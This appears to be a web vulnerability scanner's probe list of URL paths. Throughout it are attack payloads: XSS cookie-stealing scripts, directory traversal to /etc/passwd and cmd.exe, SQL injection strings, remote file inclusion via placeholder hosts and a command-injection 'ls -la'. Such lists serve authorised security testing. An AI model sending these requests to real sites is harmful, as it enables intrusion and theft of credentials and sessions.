/doc//Sites/Knowledge/Membership/Inspiredtutorial/ViewCode.asp?file=index.asp
/doc//Sites/Samples/Knowledge/Membership/Inspired/ViewCode.asp?file=index.asp
/doc//Sites/Samples/Knowledge/Membership/Inspiredtutorial/ViewCode.asp?file=index.asp
/doc//Sites/Samples/Knowledge/Push/ViewCode.asp?file=index.asp
/doc//Sites/Samples/Knowledge/Search/ViewCode.asp?file=index.asp
/doc//siteserver/publishing/viewcode.asp?file=index.asp
/doc/1030826680.jsp
/doc/1030826680.pl
/doc/1030826680.shtml
/doc/1047243590.dll
/doc/1061257343.lst
/doc/11.00RelNotes
/doc/1150314288.bat
/doc/1180744951.db
/doc/11iRelNotes.html
/doc/11iRelNotes.txt
/doc/11iSRB.txt
/doc/1262710963.aspx
/doc/1620837561
/doc/1719388596.dbf
/doc/1742896439.old
/doc/1774327191/
/doc/178332740.data
/doc/1801354608.asp
/doc/1817771518.LOG
/doc/1852721844.log
/doc/1855293114.tcl
/doc/187826830.conf
/doc/187826830.pw
/doc/1937259126.show_query_columns
/doc/1953676036.do
/doc/208931516.showsource
/doc/2115036790.html
/doc/2124530880.sys
/doc/239362179.htx
/doc/260298752.php
/doc/314237258.cfm
/doc/35505402.inc
/doc/379786360.cgi
/doc/386709180.htm
/doc/642101306.cfg
/doc/651595396.signature
/doc/702962632.trc
/doc/716976385.dat
/doc/735172259/
/doc/761588914.ini
/doc/798942397.exe
/doc/897325319.listprint
/doc/911339072.txt
/doc/934846915.c
/doc/96534841.axd
/doc/?M=A
/doc/ASX-JPN
/doc/ASX-JPN-E
/doc/ASX-JPN-S
/doc/ASX-KOR
/doc/ASX-SCH
/doc/ASX-TCH
/doc/ASX-UTF8
/doc/CHANGELOG.html
/doc/CHANGES
/doc/CHANGES.txt
/doc/CONFIGURE.txt
/doc/COPYRIGHT.txt
/doc/CVS/576720317
/doc/CVS/Entries
/doc/CVS/Repository
/doc/CVS/Root
/doc/ChangeLog
/doc/Configure
/doc/CreatedByHP5
/doc/Default.asp
/doc/Default.aspx
/doc/INSTALL
/doc/INSTALL.mysql.txt
/doc/INSTALL.pgsql.txt
/doc/INSTALL.txt
/doc/Judy/
/doc/Judy/COPYRIGHT
/doc/Judy/Judy1_3x.htm
/doc/Judy/Judy1_funcs_3x.htm
/doc/Judy/JudyL_3x.htm
/doc/Judy/JudyL_funcs_3x.htm
/doc/Judy/JudySL_3x.htm
/doc/Judy/JudySL_funcs_3x.htm
/doc/Judy/Judy_3x.htm
/doc/Judy/demo/
/doc/Judy/demo/JudySort.c
/doc/Judy/demo/Makefile
/doc/Judy/demo/funhist.c
/doc/Judy/demo/interSL.c
/doc/LICENSE.SMAIL893
/doc/Login.aspx
/doc/Login.do
/doc/MAINTAINERS.txt
/doc/Makefile
/doc/NTP_Primer.txt
/doc/Output-Build.txt
/doc/PRINT-ASE-NOTE
/doc/PRINTER-JPN-E
/doc/PRINTER-JPN-S
/doc/README.htm
/doc/README.html
/doc/ReadMe.txt
/doc/Readme
/doc/SETNETLP_Guide-E
/doc/SETNETLP_Guide-S
/doc/Stats/
/doc/TechPrtServ/
/doc/ToDo
/doc/ToDo.txt
/doc/Trace.axd
/doc/WS_FTP.LOG
/doc/WS_FTP.ini
/doc/_root_.sys
/doc/_vti_cnf/
/doc/access.log
/doc/access_log
/doc/accounts.asp
/doc/ackcmdc.exe
/doc/add_category.asp
/doc/admin.asp
/doc/admin.cfg
/doc/admin.cgi
/doc/admin.conf
/doc/admin.dat
/doc/admin.data
/doc/admin.db
/doc/admin.dbf
/doc/admin.exe
/doc/admin.htm
/doc/admin.html
/doc/admin.htx
/doc/admin.ini
/doc/admin.lst
/doc/admin.pl
/doc/admin.pw
/doc/admin.txt
/doc/admin/index.php
/doc/admin_/
/doc/admin_/help/..%255Cplsql.conf
/doc/admin_/help/1667853247.conf
/doc/adovbs.inc
/doc/application.cfm
/doc/asp/samples/viewcode.asp?file=index.asp
/doc/batch_add.asp
/doc/batch_manage.asp
/doc/changelog.htm
/doc/changelog.txt
/doc/changes.xml
/doc/changs.txt
/doc/cleanup.log
/doc/cleanup.txt
/doc/common.inc
/doc/config.inc
/doc/configuration.inc
/doc/connect.inc
/doc/connection.inc
/doc/content-space
/doc/core
/doc/customer.dbf
/doc/customers.dbf
/doc/data.dbf
/doc/data.htm
/doc/data.html
/doc/data.txt
/doc/database.inc
/doc/datafunc.inc
/doc/db.dbf
/doc/db.inc
/doc/dbconfig.inc
/doc/dbconn.inc
/doc/dbsamp.htm
/doc/debug.asp
/doc/debug.cfg
/doc/debug.cgi
/doc/debug.dat
/doc/debug.htm
/doc/debug.html
/doc/debug.inc
/doc/debug.pl
/doc/debug.txt
/doc/deploy.exe
/doc/dir.perm.txt
/doc/dir.txt
/doc/dirs.txt
/doc/doexec.c
/doc/domguide.nsf
/doc/download.html
/doc/dspug.nsf
/doc/dvwssr.dll
/doc/email.txt
/doc/email_list.txt
/doc/email_template.txt
/doc/env.log
/doc/error.log
/doc/error_log
/doc/errors.log
/doc/errors_log
/doc/fuck.exe
/doc/functions.inc
/doc/global.inc
/doc/help4.nsf
/doc/helpadmin.nsf
/doc/helplt4.nsf
/doc/hobbit.txt
/doc/icodUserGuide.pdf
/doc/include.inc
/doc/index.php?cmd=ls%20-la&s=http://nonexistent_test_host/inexistent.file.php%00
/doc/info.txt
/doc/info2.txt
/doc/install.htm
/doc/install.html
/doc/install.log
/doc/install.xml
/doc/internet.nsf
/doc/intranet.html
/doc/inventory.dbf
/doc/ipswitch.ini
/doc/javapg.nsf
/doc/lccon.nsf
/doc/license.txt
/doc/localstart.asp
/doc/log.asp
/doc/log.cgi
/doc/log.htm
/doc/log.html
/doc/log.php
/doc/login.asp
/doc/login.dbf
/doc/logon.cgi
/doc/logon.htm
/doc/logon.html
/doc/logon.pl
/doc/logs.asp
/doc/logs.cgi
/doc/logs.htm
/doc/logs.html
/doc/logs.php
/doc/members.dbf
/doc/migrate.nsf
/doc/mkilog.exe
/doc/nc.exe
/doc/netcat
/doc/netcat.c
/doc/netcat.exe
/doc/nph-test-cgi
/doc/npn_admn.nsf
/doc/npn_rn.nsf
/doc/ora_errs.log
/doc/orders.asp
/doc/orders.dat
/doc/orders.htm
/doc/orders.html
/doc/orders.txt
/doc/owa_util.listprint
/doc/owa_util.show_query_columns
/doc/owa_util.showsource
/doc/owa_util.signature
/doc/packages/
/doc/pass.asp
/doc/pass.cfg
/doc/pass.cgi
/doc/pass.dat
/doc/pass.data
/doc/pass.db
/doc/pass.dbf
/doc/pass.exe
/doc/pass.htm
/doc/pass.html
/doc/pass.htx
/doc/pass.ini
/doc/pass.lst
/doc/pass.pl
/doc/pass.txt
/doc/passwd
/doc/passwd.txt
/doc/password
/doc/password.asp
/doc/password.cfg
/doc/password.cgi
/doc/password.dat
/doc/password.data
/doc/password.db
/doc/password.dbf
/doc/password.exe
/doc/password.htm
/doc/password.html
/doc/password.htx
/doc/password.ini
/doc/password.lst
/doc/password.pl
/doc/password.txt
/doc/passwords.asp
/doc/passwords.cfg
/doc/passwords.cgi
/doc/passwords.dat
/doc/passwords.data
/doc/passwords.db
/doc/passwords.dbf
/doc/passwords.exe
/doc/passwords.htm
/doc/passwords.html
/doc/passwords.htx
/doc/passwords.ini
/doc/passwords.lst
/doc/passwords.pl
/doc/passwords.txt
/doc/planning_SuperDome_configs.pdf
/doc/products.dbf
/doc/pubs.dbf
/doc/query.inc
/doc/readmec.nsf
/doc/readmes.nsf
/doc/root.exe
/doc/rt/overview-summary.html
/doc/samples/asp/viewcode.asp?file=index.asp
/doc/scripts/702962632.txt
/doc/scripts/comments.txt
/doc/security.dbf
/doc/sendmail.inc
/doc/server.log
/doc/servervar.asp
/doc/servervariables.asp
/doc/servervars.asp
/doc/services
/doc/servlet
/doc/site_mgmt.htm
/doc/site_mgmt.html
/doc/sitelist.txt
/doc/sitestat.asp
/doc/sitestat.cgi
/doc/sitestat.htm
/doc/sitestat.html
/doc/sitestat.php
/doc/sitestats.asp
/doc/sitestats.cgi
/doc/sitestats.htm
/doc/sitestats.html
/doc/sitestats.php
/doc/smhelp.nsf
/doc/sql.inc
/doc/sqlconnect.inc
/doc/sqlnet.log
/doc/sqlnet.trc
/doc/srvinst.nsf
/doc/ssl_error.log
/doc/ssl_error_log
/doc/standard.inc
/doc/stat.asp
/doc/stat.cgi
/doc/stat.htm
/doc/stat.html
/doc/stat.php
/doc/stat/
/doc/statistics.asp
/doc/statistics.cgi
/doc/statistics.htm
/doc/statistics.html
/doc/statistics.php
/doc/stats.asp
/doc/stats.cgi
/doc/stats.htm
/doc/stats.html
/doc/stats.php
/doc/sw_patches.txt
/doc/test-cgi
/doc/test-cgi.tcl
/doc/test-env
/doc/test.asp
/doc/test.aspx
/doc/test.bat
/doc/test.cgi
/doc/test.dbf
/doc/test.exe
/doc/test.htm
/doc/test.html
/doc/test.jsp
/doc/test.php
/doc/test.pl
/doc/test.shtml
/doc/test.txt
/doc/testing.asp
/doc/testing.cgi
/doc/testing.htm
/doc/testing.html
/doc/testing.txt
/doc/tmp
/doc/update.htm
/doc/update.html
/doc/upgrade.txt
/doc/usage.asp
/doc/usage.cgi
/doc/usage.htm
/doc/usage.html
/doc/usage.php
/doc/usage/
/doc/usage_200809.htm
/doc/usage_200809.html
/doc/usage_200810.htm
/doc/usage_200810.html
/doc/user.asp
/doc/user.cfg
/doc/user.cgi
/doc/user.dat
/doc/user.data
/doc/user.db
/doc/user.dbf
/doc/user.exe
/doc/user.htm
/doc/user.html
/doc/user.htx
/doc/user.ini
/doc/user.lst
/doc/user.pl
/doc/user.txt
/doc/user_adm.html
/doc/users.asp
/doc/users.cfg
/doc/users.cgi
/doc/users.dat
/doc/users.data
/doc/users.db
/doc/users.dbf
/doc/users.exe
/doc/users.htm
/doc/users.html
/doc/users.htx
/doc/users.ini
/doc/users.lst
/doc/users.pl
/doc/users.txt
/doc/utils.inc
/doc/validate.inc
/doc/viewcode.asp?file=index.asp
/doc/vxvm/
/doc/vxvm/pitc_ag.pdf
/doc/vxvm/vxvm_ag.pdf
/doc/vxvm/vxvm_hwnotes.pdf
/doc/vxvm/vxvm_ig.pdf
/doc/vxvm/vxvm_mig.pdf
/doc/vxvm/vxvm_notes.pdf
/doc/vxvm/vxvm_tshoot.pdf
/doc/vxvm/vxvm_ug.pdf
/doc/wdir.txt
/doc/wdirs.txt
/doc/webauthor.htm
/doc/webmin.config.notes
/doc/webstats.asp
/doc/webstats.cgi
/doc/webstats.html
/doc/webstats.php
/doc/www_stats/
/doc/wwwstat.asp
/doc/wwwstat.php3
/doc/wwwstats.asp
/doc/wwwstats.cgi
/doc/wwwstats.htm
/doc/wwwstats.html
/doc/wwwstats.php
/doc/wwwstats.txt
/doc/wwwstats/
/doc/xferlog.txt
/doc1/
/doc11/
/doc_Boa/
/docroot/
/docs
/docs/
/docs/<script>alert('Vulnerable');</script>
/docs/NED
/docs/NED?action=retrieve&location=.
/docs/index.php?lang=/../../../../../../../../../../etc/passwd%00
/docs/sdb/en/html/248973491.html
/docs/sdb/en/html/index.html
/docs/servlets/index.html
/docs/showdoc.php?h=%3C%2Ftitle%3E%3Cscript%3Ealert%289630%29%3C%2Fscript%3E&t=AppScan
/docs/showdoc.php?h=AppScan&t=%3Cscript%3Ealert%289628%29%3C%2Fscript%3E
/docs/showtemp.cfm?TYPE=JPEG&FILE=c:\boot.ini
/docs1/
/docucolor/
/document/
/document/rqmkhtml.php?cmd=rqEditHtml&file=inexistent_file_name.php
/document/rqmkhtml.php?cmd=rqMkHtml&cwd=%22%3E%3Cscript%3Ealert%2810002%29%3C%2Fscript%3E
/documentation/
/documents/
/docushare/dsweb/ServicesLib/Group-#/%3cscript%3ealert(9900)%3c%2fscript%3e
/doexec.c
/dohtaccess.html?dir=><script>alert(document.cookie);</script>
/doku.php
/doladmin.nsf
/dols_help.nsf
/dom/
/domadmin.nsf
/domain/
/domains.asp?txtDomainName=%3Cscript%3Ealert%281904%29%3C%2Fscript%3E%5D
/domains.asp?txtDomainName=%3Cscript%3Ealert%283464%29%3C%2Fscript%3E%21&btnSubmit.x=0&btnSubmit.y=0
/domains.asp?txtDomainName=%3Cscript%3Ealert%288436%29%3C%2Fscript%3E%21&btnSubmit.x=0&btnSubmit.y=0
/domains.php?plan_id=%27
/domcfg.nsf
/domguide.nsf
/domlog.nsf
/dosearch.php?Cat=%3Cscript%3Ealert%283256%29%3C%2Fscript%3E
/dostuff.php?action=modify_user
/dotproject/modules/files/index_table.php
/dotproject/modules/files/index_table.php?root_dir=
/dotproject/modules/projects/addedit.php
/dotproject/modules/projects/addedit.php?root_dir=
/dotproject/modules/projects/view.php
/dotproject/modules/projects/view.php?root_dir=
/dotproject/modules/projects/vw_files.php
/dotproject/modules/projects/vw_files.php?root_dir=
/dotproject/modules/tasks/addedit.php
/dotproject/modules/tasks/addedit.php?root_dir=
/dotproject/modules/tasks/viewgantt.php
/dotproject/modules/tasks/viewgantt.php?root_dir=
/down
/down*.php?OpenPage=
/down*.php?action=
/down*.php?addr=
/down*.php?channel=
/down*.php?choix=
/down*.php?cmd=
/down*.php?corpo=
/down*.php?disp=
/down*.php?doshow=
/down*.php?ev=
/down*.php?filepath=
/down*.php?goFile=
/down*.php?home=
/down*.php?in=
/down*.php?inc=
/down*.php?incl=
/down*.php?include=
/down*.php?ir=
/down*.php?lang=
/down*.php?left=
/down*.php?nivel=
/down*.php?oldal=
/down*.php?open=
/down*.php?pa=
/down*.php?pag=
/down*.php?pageweb=
/down*.php?param=
/down*.php?path=
/down*.php?pg=
/down*.php?phpbb_root_path=
/down*.php?pollname=
/down*.php?pr=
/down*.php?pre=
/down*.php?qry=
/down*.php?r=
/down*.php?read=
/down*.php?s=
/down*.php?second=
/down*.php?section=
/down*.php?seite=
/down*.php?showpage=
/down*.php?sp=
/down*.php?strona=
/down*.php?subject=
/down*.php?t=
/down*.php?texto=
/down*.php?to=
/down*.php?u=
/down*.php?url=
/down*.php?v=
/down*.php?where=
/down*.php?x=
/down*.php?z=
/down/
/download
/download.html
/download.html?path=download.html
/download.php?Number='
/download.php?list
/download.php?op=viewdownload
/download.php?sortby=&dcategory=%3Cscript%3Ealert%281440%29%3C%2Fscript%3E&sortby=
/download.php?sortby=&dcategory=<script>alert('Vulnerable')</script>
/download.php?sub=
/download/
/download2.php?fn1=download2.php
/download_click.asp?downloadid=-1%27
/download_now.php?target=%27
/downloading/
/downloads
/downloads/
/downloads/pafiledb.php?action=download&id=4?\"&lt;script&gt;alert('Vulnerable')&lt;/script&gt;\"
/downloads/pafiledb.php?action=email&id=4?\"&lt;script&gt;alert('Vulnerable')&lt;/script&gt;\"
/downloads/pafiledb.php?action=rate&id=4?\"&lt;script&gt;alert('Vulnerable')&lt;/script&gt;\"
/dropbase.php?tabls=%27
/dropbox/
/drupal/?_menu[callbacks][1][callback]=
/dscgi/
/dscgi/admin.py/1273361140
/dscgi/admin.py/adminhome
/dsdn/dsweb/SearchResults/%3cscript%3ealert(9896)%3c%2fscript%3e
/dsdn/dsweb/Services/%3cscript%3ealert(9898)%3c%2fscript%3e
/dspug.nsf
/dump/
/durep/
/dv_gbook.php?d=0&f=%27%22%3E%3Cscript%3Ealert%281492%29%3C%2Fscript%3E
/dvwssr.dll
/dynamic/
/dyngb/
/dyngb/584799224.html
/dyngb/index.html
/e107/e107_handlers/secure_img_render.php?p=
/e107_files/resetcore.php
/e107_plugins/alt_news/21154107.php
/e107_plugins/alt_news/alt_news.php
/e107_plugins/backend_menu/1562209963.php
/e107_plugins/backend_menu/backend_menu.php
/e107_plugins/clock_menu/1749481717.php
/e107_plugins/clock_menu/clock_menu.php
/e107_plugins/clock_menu/clock_menu.php?clock_flat=1&LAN_407=foo%22);//--%3E%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
/e107_plugins/counter_menu/1629994109.php
/e107_plugins/counter_menu/counter_menu.php
/e107_plugins/login_menu/672194427.php
/e107_plugins/login_menu/login_menu.php
/eMFrame/386539751
/eMFrame/webacc?taskId=fw.Authenticate&merge=fw.FinishLogin&error=fw.AuthFail&User.lang=en&User.interface=browser&User.context=jjosYlghqsCu&AuthenticateName=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&AuthenticatePassword=bleh&AuthenticateContext=&AuthenticateTree=
/eUpload/278039862.txt
/eUpload/password.txt
/easylog/
/easylog/1165484128.html
/easylog/easylog.html
/easylogs/
/ecartis/
/ecartus/
/echo.aspx?stringtext=<%00script>alert('CSS');</script>
/ecommerce/control/keywordsearch?SEARCH_STRING=%3Cscript%3Ealert%288468%29%3C%2Fscript%3E
/edit.php?id=1&commentid=-99%27
/edit.php?s=%3Cscript%3Ealert%28902%29%3C/script%3E&submit=Search
/edit/Comment
/editCampaign.php?campaignId=
/edit_image.php?dn=1&userfile=edit_image.php&userfile_name=%20;id;
/editcss.php
/editor/filemanager/upload/php/upload.php?ServerPath=.\x.php.
/editpost.php?pid=1&GLOBALS%5B%5D=1&attachments=%3Cscript%3Ealert%281554%29%3C%2Fscript%3E
/edittag/edittag.cgi?file=%2F..%2F..%2F..%2F..%2F..%2Fetc/passwd
/edtalbum.asp?cat=&albumid=1&apage=%3Cscript%3Ealert%282888%29%3C%2Fscript%3E
/eg/source.asp
/ejemplo/
/ejemplos/
/electronictransactions/
/email
/email.php
/email.php?login=attacker&cer_skin=
/email.php?news.1
/email.txt
/email/
/email_list.txt
/email_template.txt
/emailfriend/emailarticle.php?id=\"<script>alert(document.cookie)</script>
/emailfriend/emailfaq.php?id=\"<script>alert(document.cookie)</script>
/emailfriend/emailnews.php?id=\"<script>alert(document.cookie)</script>
/embed/day.php?path=
/emml_email_func.php
/employees
/employees/
/empris/
/empris/2095256304
/empris/INSTALL
/emsgb/easymsgb.pl?print=
/emumail.cgi?type=.%00
/emumail/1231942758.cgi
/emumail/emumail.cgi?type=../../../../../../../../../../../../../../etc/passwd%00
/en/
/enc/content.php?Home_Path=
/encapscms_PATH/core/core.php?root=
/encore/forumcgi/display.cgi?preftemp=temp&page=anonymous&file=
/eng.php?img=
/eng/
/engine/js/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=%2f
/english/
/enter.php?a=
/enter.php?abre=
/enter.php?addr=
/enter.php?b=
/enter.php?base_dir=
/enter.php?body=
/enter.php?chapter=
/enter.php?cmd=
/enter.php?content=
/enter.php?e=
/enter.php?ev=
/enter.php?get=
/enter.php?go=
/enter.php?goto=
/enter.php?home=
/enter.php?id=
/enter.php?incl=
/enter.php?include=
/enter.php?index=
/enter.php?ir=
/enter.php?itemnav=
/enter.php?lang=
/enter.php?left=
/enter.php?link=
/enter.php?loader=
/enter.php?menue=
/enter.php?mid=
/enter.php?middle=
/enter.php?mod=
/enter.php?module=
/enter.php?name=
/enter.php?numero=
/enter.php?open=
/enter.php?pa=
/enter.php?page=
/enter.php?pagina=
/enter.php?panel=
/enter.php?path=
/enter.php?pg=
/enter.php?phpbb_root_path=
/enter.php?play=
/enter.php?pname=
/enter.php?pr=
/enter.php?pref=
/enter.php?qry=
/enter.php?r=
/enter.php?read=
/enter.php?ref=
/enter.php?s=
/enter.php?sec=
/enter.php?second=
/enter.php?seite=
/enter.php?sivu=
/enter.php?sp=
/enter.php?start=
/enter.php?str=
/enter.php?strona=
/enter.php?subject=
/enter.php?texto=
/enter.php?thispage=
/enter.php?type=
/enter.php?viewpage=
/enter.php?w=
/enter.php?y=
/entete.php
/enteteacceuil.php
/entry_rightpanel.pl
/env.cgi
/env.log
/envia/
/enviamail/
/environment.php?DIR_PREFIX=
/envivo101/default.asp?action=search&searchstring='
/error.log
/error.php
/error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini
/error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini
/error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini
/error/%5c%2e%2e%5cmanual%5cstopping.html
/error/1476179052.var
/error/1895335089.ini
/error/500error.jsp?et=1<script>alert('CSS')</script>
/error/500error.jsp?et=1<script>alert('Vulnerable')</script>;
/error/99223333.html
/error/HTTP_NOT_FOUND.html.var
/error_log
/error_log/
/errorreporter/
/errors
/errors.log
/errors/
/errors/needinit.php?GALLERY_BASEDIR=http://xxxxxxxx/
/errors/rights.asp?awReadAccessRight=True&msg=%3Cscript%3Ealert%289102%29%3C%2Fscript%3E
/errors_log
/es/
/es_custom_menu.php?files_dir=
/es_desp.php?files_dir=
/es_offer.php?files_dir=
/esp?PAGE=&lt;script&gt;alert(document.cookie)&lt;/script&gt;
/estore/
/esupport/1466230198.php
/esupport/Index.php?_a=tickets&_m=viewmain&email22=blah@blah&ticketkey22='
/esupport/admin/autoclose.php?subd=
/esupport/index.php?_a=knowledgebase&_j=rate&_i='&type=no
/etc
/etc/
/etc/1138989027
/etc/passwd
/etc/shadow+
/eupload/
/event.nsf
/eventcal2.php.php
/eventdisplay.php?id=-999%20UNION%20SELECT%20111222,222,333111
/events.cgi?a=155&t=
/events.cgi?t=
/events.nsf
/events.php?link_date=22007-02-17
/events/calview/week.php?cal=&getdate=%22%3E%3Cscript%3Ealert%289582%29%3C%2Fscript%3E
/events4.nsf
/events5.nsf
/eventum/forgot_password.php?email=\"><script>alert(document.cookie)</script>
/eventum/index.php?err=3&email=\"><script>alert(document.cookie)</script>
/everythingform.cgi
/evsearch.php
/ewebquiz.asp?QuizID=1%20or%201=1
/ews/ews/architext_query.pl
/exadmin/
/exair/
/example
/example/
/example/156149097
/example/SnoopServlet
/examples
/examples/
/examples//423893234/
/examples//WEB-INF/
/examples/applications/bboard/1832941358.html
/examples/applications/bboard/bboard_frames.html
/examples/basic/servlet/HelloServlet
/examples/context
/examples/cookie
/examples/forward1
/examples/forward2
/examples/header
/examples/include1
/examples/info
/examples/jsp/index.html
/examples/jsp/snp/anything.snp
/examples/jsp/snp/sno.snp
/examples/jsp/snp/snoop.jsp
/examples/jsp/source.jsp?/jsp/
/examples/jsp/source.jsp??
/examples/servlet/AUX
/examples/servlet/SnoopServlet
/examples/servlet/TroubleShooter
/examples/servlets/index.html
/examples/session
/examples/view_source.jsp?\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini
/examples/web-inf/
/examplesWebApp/InteractiveQuery.jsp?person=<script>alert('Vulnerable')</script>
/excel
/excel/
/exchange/
/exchange/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
/exchange/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
/exchange/..%255c..%255c..%255c..%255cwinnt/system32/858140665.exe
/exchange/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/exchange/..%255c../..%255c../..%255c../winnt/system32/1045412419.exe
/exchange/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
/exchange/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/207100345.exe
/exchange/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/cmd.exe?/c+dir
/exchange/..%e0%80%af../winnt/system32/513859707.exe
/exchange/..%e0%80%af../winnt/system32/cmd.exe?/c+dir
/exchange/..%f0%80%80%af../winnt/system32/745743990.exe
/exchange/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
/exchange/..%f8%80%80%80%af../winnt/system32/2122699709.exe
/exchange/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/exchange/..%fc%80%80%80%80%af../winnt/system32/1935427955.exe
/exchange/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/exchange/lib/AMPROPS.INC
/exchange/lib/ATTACH.INC
/exchange/lib/DELETE.INC
/exchange/lib/GETREND.INC
/exchange/lib/GETWHEN.INC
/exchange/lib/JSATTACH.INC
/exchange/lib/JSROOT.INC
/exchange/lib/JSUTIL.INC
/exchange/lib/LANG.INC
/exchange/lib/PAGEUTIL.INC
/exchange/lib/PUBFLD.INC
/exchange/lib/RENDER.INC
/exchange/lib/SESSION.INC
/exchange/lib/logon.inc
/exchange/logonfrm.asp
/exchweb/
/exe/
/exec.php?action=comment_add&entryid=force_error
/exec/
/exec/show/config/1031982767
/exec/show/config/cr
/exibir.php?arquivo=
/experts.php?sub=
/expeval/
/explorer/
/expo/sdk/blanks/988447879.php
/expo/sdk/blanks/file_modules.php
/expo/sdk/blanks/formcontrol.php
/expo/subsystems/1878463415.php
/expo/subsystems/permissions.info.php
/expo/subsystems/search.info.php
/expo/subsystems/security.info.php
/export
/export.php?what=../../../../../../etc/passwd%00
/export/
/ext.dll
/ext.dll?MfcISAPICommand=LoadPage&page=search.htx&a0=%22%3E%3Cscript%3Ealert%28%27CSS%27%29%3B%3C%2Fscript%3E&a1=0&a2=1&a3=6
/ext.dll?MfcIsapiCommand=LoadPage&page=admin.hts%20&a0=add&a1=root&a2=%5C
/ext.dll?mfcisapicommand=loadpage&page=upload.htx
/ext.ini
/ext.ini.%00.txt
/extensions/moblog/moblog_lib.php?basedir=
/external/
/extras/
/extras/ext_cats.php?dir_path=
/ez2000/ezadmin.cgi
/ez2000/ezboard.cgi
/ez2000/ezman.cgi
/ezguestbook/datastores/guestbook.mdb
/ezhttpbench.php?AnalyseSite=/etc/passwd&NumLoops=1
/f3f9600d8aa5614ec8fdf47de1554b32
/failure.asp?err_txt=text%3C/b%3E%3Cscript%3Ealert(%22xss%22);%3C/script%3E%3Cb%3Etext
/familynews.php?getnews=-9999%27
/faq.php?cat_id=1%27%20or%20force_mysql_error%3D%272
/faq.php?farea=%22%3E%3Cscript%3Ealert(824)%3C/script%3E
/faq/
/faq/index.php?find=%3Cscript%3Ealert%28896%29%3C/script%3E&search=Search
/faq/index.php?x=f&id='
/faq_english.php?Cat=%3Cscript%3Ealert%283262%29%3C%2Fscript%3E
/faqman/index.php
/faqs/
/favicon.ico
/fbsd/
/fcgi-bin/
/fcgi-bin/2050811888
/fcgi-bin/echo
/fcgi-bin/echo.exe?foo=<script>alert('Vulnerable')</script>
/fcgi-bin/echo2
/fcgi-bin/echo2.exe?foo=<script>alert('Vulnerable')</script>
/fcgi-bin/echo2?foo=<script>alert('Vulnerable')</script>
/fcgi-bin/echo?foo=<script>alert('Vulnerable')</script>
/fckeditor/editor/filemanager/browser/mcpuk/connectors/php/connector.php?Command=FileUpload&Type=File
/features/
/feedback
/file
/file-that-is-not-real-2002.php3
/file.php?action=
/file.php?basepath=
/file.php?body=
/file.php?channel=
/file.php?chapter=
/file.php?choix=
/file.php?cmd=
/file.php?cont=
/file.php?corpo=
/file.php?disp=
/file.php?doshow=
/file.php?ev=
/file.php?eval=
/file.php?get=
/file.php?id=
/file.php?id=-1%27
/file.php?inc=
/file.php?incl=
/file.php?include=
/file.php?index=
/file.php?ir=
/file.php?ki=
/file.php?left=
/file.php?load=
/file.php?loader=
/file.php?middle=
/file.php?modo=
/file.php?n=
/file.php?nivel=
/file.php?numero=
/file.php?oldal=
/file.php?pagina=
/file.php?param=
/file.php?pg=
/file.php?play=
/file.php?pollname=
/file.php?pref=
/file.php?q=
/file.php?qry=
/file.php?ref=
/file.php?seccion=
/file.php?second=
/file.php?showpage=
/file.php?sivu=
/file.php?sp=
/file.php?start=
/file.php?strona=
/file.php?texto=
/file.php?to=
/file.php?type=
/file.php?url=
/file.php?var=
/file.php?viewpage=
/file.php?where=
/file.php?y=
/file/
/file/../../../../../../../../../../../../../../etc/
/file/../../../../../../../../etc/
/fileadmin/
/filedetails.php?path=%3C%2Ftitle%3E%3Cscript%3Ealert(xss)%3C/script%3E
/filelist.php?op=view&ticon=&ttitle=&tcontent=admin/../../../../../../../../../../../
/filemanager/filemanager_forms.php
/filemanager/index.php3
/filemanager/source.php?../../../../../../etc/passwd
/filemgmt/brokenfile.php
/filemgmt/brokenfile.php?lid=17'/%22%3<script>alert(document.cookie)</script>
/filemgmt/singlefile.php
/filemgmt/viewcat.php
/filemgmt/visit.php
/files
/files/
/files/passwd.txt
/fileseek.cgi?head=&foot=
/finance.xls
/finances.xls
/find.php?act=action&reset=yes&detail%5B%5D='
/find.php?page=0&act=action&orderby=%27
/find.php?page=0&act=action&orderby=sortorder&orderdir=%27
/firefox/
/firewall/policy/dlg?q=-1&fzone=t<script>alert('Vulnerable')</script>>&tzone=dmz
/firewall/policy/policy?fzone=internal&tzone=dmz1<script>alert('Vulnerable')</script>
/flex_html_wrapper.html#<script>alert(9930)</script>
/folder.php?id=
/foldoc/
/foldoc/374019627.cgi
/foldoc/template.cgi?template.cgi
/fom.cgi?_insert=answer&cmd=%3Cscript%3Ealert%281180%29%3C%2Fscript%3E&file=1
/fom.cgi?cmd=recent&file=1&showLastModified=show&_submit=Show%2Bdocuments&_duration=%3Cscript%3Ealert%281176%29%3C%2Fscript%3E
/fom.cgi?file=%3Cscript%3Ealert%281178%29%3C%2Fscript%3E&showLastModified=show
